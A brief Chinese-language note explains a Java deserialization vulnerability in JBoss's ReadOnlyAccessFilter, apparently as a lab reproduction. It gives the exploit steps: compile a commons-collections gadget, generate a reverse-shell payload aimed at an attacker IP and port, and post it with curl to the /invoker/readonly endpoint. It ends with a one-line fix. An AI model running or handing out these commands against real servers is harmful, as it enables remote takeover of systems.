**
漏洞原理:
**
- 该漏洞为java反序列化错误类型,jboss的反序列化漏洞出现在ReadOnlyAccessFilter.class文件中的doFilter中。该过滤器在没有进行安全检查的情况下将来自客户端的数据流(request.getInputStream())进行反序列化,从而导致了漏洞。下图是doFilter过滤器代码
序列化:将对象转化为二进制字节流的一种方法。
反序列化:将二进制字节流恢复为对象的一种方法。
漏洞复现
下载利用工具
1.javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
#javac将java源文件编译为class字节码文件。-cp指明.java文件中import类的位置
2.java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.105:4444
#将反弹shell的命令参数代入文件中
3.curl http://192.168.0.104:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
#上传二进制字节码payload
修复:
删除:http-invoker.sar目录